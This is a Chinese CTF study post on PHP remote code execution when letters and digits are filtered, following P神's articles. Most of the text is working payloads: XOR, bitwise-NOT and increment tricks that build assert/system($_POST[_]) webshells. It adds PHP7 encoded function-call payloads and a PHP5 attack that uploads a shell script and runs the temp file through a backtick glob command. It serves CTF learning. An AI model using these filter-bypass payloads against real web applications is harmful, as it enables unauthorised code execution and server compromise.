前言

最近正在复习关于 无参RCE 以及 无字母RCE 相关的 CTF 题目, 之前也有做过类似的题目,但是都没有做总结,于是最近准备系统的对 CTFWeb 的知识点进行总结。

主要参考资料为 P神 2017 年发布的文章:

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

问题1

1
2
3
4
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}

如果把数字和字母都 ban 了我们该如何进行 RCE 呢?下面是 P神 的思考,x1ong 只是进行学习并做记录。

思路

首先我们明确思路,我们的核心目的就是不使用字母、数字,去构造诸如 assertsystem 函数的字符串,然后利用动态执行的方法进行调用。

动态调用:

1
2
3
4
5
<?php 
$a = 'assert';
$a('phpinfo();');
// 以上方法等同于: assert('phpinfo();');
?>

alt text

到了 php7 版本之后,assert 不再是一个函数,而是一个语言结果(类似于 eval),因此无法进行动态调用,但是我们可以动态 system() 等函数达到命令执行的效果或通过 file_put_contents() 等函数 getshell

以下实验以环境 php5.6.31 为例。

方法一 异或

在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可

得到如下的结果(因为其中存在很多不可打印字符,所以我用url编码表示了):

1
2
3
4
5
// 如果直接在php中运行该代码请使用url_decode()函数对URL进行编码。
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

执行结果如下:

alt text

方法二 取反

方法而则使用的是 取反,该方法利用的是UTF-8编码的某个汉字,并将其中某个字符取出来。

例如:

alt text

可以看到,当我们对一个中文取反的话会返回大小写字母以及特殊字符,那么我们配合索引进行取值即可,字在 UTF-8 编码中占用了3个字节,具体的UTF编码为: \xe5\xb8\x85, php 将字符串视为字节数组,所以在PHP中可以将其看做是包含三个字节的数组。

使用 帅[1] 的结果是 \xb8 经过取反之后得到字母 G

具体取反过程如下:

  • 先将十六进制 b8 转为二进制。
  • 再将 b8 的二进制进行按位取反,0变成1,1变成0。
  • 最后再将得到的二进制转为十进制与ASCII表中进行比对,最终找到字母 G

alt text

我这里编写了一个脚本,用于获取某个字符:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
// 从文件中获取汉字
$content = file_get_contents('data.txt');
$content_length = mb_strlen($content, "UTF-8");
// 要获取的字符
$payload = "a";
// 使用 for 循环逐个输出中文字符
for ($i = 0; $i < $content_length; $i++) {
// 获取当前字符
$char = mb_substr($content, $i, 1, "UTF-8");
// 输出中文字符(排除换行符等非中文字符)
if ($char != "\n" && $char != "\r" && $char != "\t" && $char != ',' && $char != '。' && $char != "?" && $char != "“" && $char != "”" && $char != "《" && $char != "》" && $char != "、") {
for ($j = 1; $j <= 4; $j ++) {
if (~$char[$j] == $payload) {
echo "~'$char'" . "[$j]" . "\n";
}
}
}
}
?>

脚本运行效果:

alt text

以上结果经过取反之后都能获取到字母 a

alt text

于是我们拼接出 assert_POST 即可:

1
2
3
4
5
6
<?php
$___=(~'澞'[2]).(~'猬'[1]).(~'猬'[1]).(~'湚'[2]).(~'獬'[1]).~('狴'[1]); // assert
$____='_'.(~'溯'[2]).(~'淰'[2]).(~'沬'[2]).(~'湫'[2]); // _POST
$_____=$$____; // $_POST
$___($_____[_]); // assert($_POST[_]);
?>

运行如下:

alt text

但是我们的 问题 由于禁止了数字,因此上述方法是行不通的,但是我们利用可以php弱类型的特性可以获取到我们想要的数字。

例如:

1
2
3
4
5
6
<?php 
$_ = ">">"<"; // 1
$__ = (">">"<")+(">">"<"); // 2
echo $_; // 1
echo $__; // 2
?>

php弱类型的特性 true的值为1,故而true+true=2。于是就获取到了数字2。

最终的 PAYLOAD为:

1
2
3
4
5
6
7
8
<?php
$_=(">">"<"); // 1
$__=(">">"<")+(">">"<"); // 2
$___=(~'澞'[$__]).(~'猬'[$_]).(~'猬'[$_]).(~'湚'[$__]).(~'獬'[$_]).~('狴'[$_]); // assert
$____='_'.(~'溯'[$__]).(~'淰'[$__]).(~'沬'[$__]).(~'湫'[$__]); // _POST
$_____=$$____;
$___($_____[_]);
?>
1
shell=$_=(">">"<");$__=(">">"<")%2b(">">"<");$___=(~'澞'[$__]).(~'猬'[$_]).(~'猬'[$_]).(~'湚'[$__]).(~'獬'[$_]).~('狴'[$_]);$____='_'.(~'溯'[$__]).(~'淰'[$__]).(~'沬'[$__]).(~'湫'[$__]);$_____=$$____;$___($_____[_]);

执行效果:

alt text

请注意将+进行URL编码。

当然初此之外,我们还可以构造 system 等函数达到命令执行的效果。

如:

1
2
3
4
5
6
7
8
<?php
$_ = ">">"<"; // 1
$__ = (">">"<")+(">">"<"); // 2
$___=(~'猱'[$_]).(~'熰'[$_]).(~'猱'[$_]).(~'狷'[$_]).(~'瀚'[$__]).(~'澒'[$__]); // system
$____='_'.(~'浯'[$__]).(~'溰'[$__]).(~'沬'[$__]).(~'泫'[$__]); // _POST
$_____=$$____; // $_POST
$___($_____[_]); // system($_POST[_]);
?>

alt text

注意: 在 PHP7版本中,'x1ong'[0]'x1ong'{0}所取到的值一致,而PHP5版本中,不支持第二种写法。

方法三 递增

alt text

自 PHP 8.3.0 起,上图功能已弃用。

也就是说,'a'++ => 'b''b'++ => 'c'... 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。

注意: 递增递减运算符只能操作变量,不能操作字面量。

alt text

那么,如何拿到一个值为字符串 'a' 的变量呢?

数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。

在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为 Array :

alt text

再取这个字符串的第一个字母,就可以获得'A'了。在PHP中函数名称是对大小写不敏感的。也就是说,<?php PhPInfO();?> 也能实现 phpinfo 函数的效果。

利用这个技巧,P神编写了如下 webshell(因为PHP函数是大小写不敏感的,所以我们最终执行的是 ASSERT($_POST[_]),无需获取小写a):。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
?>

执行效果:

1
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

alt text

由于存在+符号,故而需要进行URL编码。

问题2

继续学习P神的文章: https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

他给出了示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
}

在这种情况下,以上三种方法都行不通了,因为我们需要使用 $_,而他们在本代码中都被 ban 了,同时也限制了传入 code 参数的长度。

PHP7下的问题解决

我们将上述代码放到 index.php 文件中,并运行如下命令启动 docker 环境:

1
docker run -d -p 9090:80 -v `pwd`:/var/www/html/ php:7.2-apache

在 PHP7 中修改了表达式的执行顺序:
https://www.php.net/manual/zh/migration70.incompatible.php

alt text

在 PHP7 之前是不允许使用 ('phpinfo')() 这种形式调用函数的,但是在 PHP7 中增加了对此的支持,所以我们可以通过 ('phpinfo')() 这种形式的写法来调用函数,第一个括号里面可以是任意PHP表达式,第二个括号则是该函数的参数。

如: 我们想利用动态调用的方法执行 system("whoami"); 该如何去做呢?

1
2
3
<?php 
('system')('whoami'); // 等同于 system("whoami");
?>

alt text

构造一个可以生成phpinfo这个字符串的PHP表达式即可。payload (不可见字符用url编码表示):

1
(~%8f%97%8f%96%91%99%90%)();

alt text

生成脚本如下:

1
2
3
4
5
6
7
<?php 
$payload = "phpinfo"; // 要编码的函数名称
echo "~";
for ($i = 0; $i < strlen($payload); $i++) {
echo "%" . bin2hex(~$payload[$i]);
}
?>

alt text

脚本原理:

  • phpinfo 的逐个字符进行取反运算
  • phpinfo 的逐个字符转为十六进制
  • 在前面加上%即为 URL 编码。

利用时,再将其反转回来即可。

至于为什么加上%就为 URL 编码了,就需要了解一下 URL 编码的原理,即:

将要发送的字符转换为其在 ASCII 表中的十六进制表示形式。在其前面加上%即为该字符的URL编码形式。

假设要执行 system('whoami');,需要分别对 systemwhoami 进行计算。

alt text

1
~(~%8c%86%8c%8b%9a%92)(~%88%97%90%9e%92%96);

alt text

PHP5下的问题解决

分析

我们将上述代码放到 index.php 文件中,并运行如下命令启动 docker 环境:

1
docker run -d -p 9090:80 -v `pwd`:/var/www/html/ php:5.6-apache

这里摘抄一下P神的话:

“当思路禁锢在一个点的时候,你将会钻进牛角尖;当你用大局观来看待问题,问题就迎刃而解”。

在 PHP 程序中可以直接使用反引号来调用操作系统的 shell 来执行系统命令。如:

1
2
3
<?php 
`whoami`;
?>

虽然会执行系统命令,但是默认情况下,只会执行并不会进行输出,于是需要我们使用 echo 语句进行输出。不过有些时候,我们只需要知道它执行了就可以了。

因为反引号不包含在被 ban 的字符: 字母、数字 $_ 中,故而我们可以利用使用。

但是在没有数字和字母的情况下,如果想在 shell 中执行命令,也仍旧是一个难题,接下来,我们就需要知道两个知识点:

  • shell 下可以利用 . 来执行任意脚本
  • Linux 文件名支持用 glob 通配符代替

准备一段 shell 脚本:

1
2
#!/bin/bash
whoami

如果我们想在 shell 中执行该脚本有几种方法呢?在 x1ong 的认知中只有三种方法:

  1. 为其 chmod + x filename 添加执行权限,通过 ./filename 的形式执行。
  2. 使用 source 命令执行,通过 source filename 的形式执行。
  3. 使用 . 执行,通过 . filename 的形式执行。

当然使用第一种方法执行时,需要有 x 权限,而使用另外两种方法则是不需要有执行权限的。

那么我们该获得一个shell脚本(文件)呢?这种方法也很简单,我们只需要向任意PHP文件POST一个shell文件即可,此时该文件会保存到临时目录下,我们使用 . 执行该文件即可。

第二个难题接踵而至,执行. /tmp/phpXXXXXX,也是有字母的。此时就可以用到 Linux下的 glob 通配符:

  • * 可以代替0个及以上任意字符
  • ?可以代表1个任意字符

那么 /tmp/phpXXXXXX 就可以表示为 /*/?????????/???/????????? 吗?实际上不是,由于两者匹配的文件很多,系统产生了争议,从而报错,故而我们尽量让其最小化匹配。

在 Linux 文档中,除了 *? 通配符以外,还有其他的匹配符:

http://man7.org/linux/man-pages/man7/glob.7.html

这里值得注意的是,Linux 下的文件和文件夹大多数都为小写字母,而PHP接收的临时文件名中是包含大写字母的。

glob 中是支持[0-9]这种写法的,那么我们是不是可以使用 [A-Z] 来匹配大写字母呢?很明显是可以的。

alt text

但是由于 ban 了大写字母,那么有没有什么方法可以表示一个范围呢?答案是有的,我们只需要查看 ASCII 表,找到大写字母的边界值即可。

alt text

通过上图可以看到,大写字母的边界值分别是 @{,故而我们使用 [@-{] 其实结果包含 [A-Z]

alt text

解决

编写HTML文件上传代码,将文件数据提交给服务器的PHP文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<form action="http://120.48.128.24:9090/" method="POST" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" name="submit">
</form>
</body>
</html>

编写 shell 脚本执行 whoami 命令:

1
2
#!/bin/bash 
whoami

上传 shell 脚本文件,并使用 burpsuite 抓取上传时的数据包,发到重发器中,并为其传入参数如下:

1
2
code=`.+/???/????????[@-[]`;
# 其中的+为空格

alt text

反引号只会执行系统命令,但并不会输出其结果,需要使用 echo 等打印语句进行输出,但是我们这里又不能传入字母,该如何利用呢?

在PHP中语句<?=123;?> 等同于 <?php echo 123;?>,故而我们需要闭合前语句。开始后面的<?=123;?>

1
code=?><?=`.+/???/????????[@-[]`;?>

alt text

由于是匹配最后一个字符为大写字母,而PHP生成的临时文件并不是每次最后一位都是大写字母,故而需要多发几次。

成功执行命令。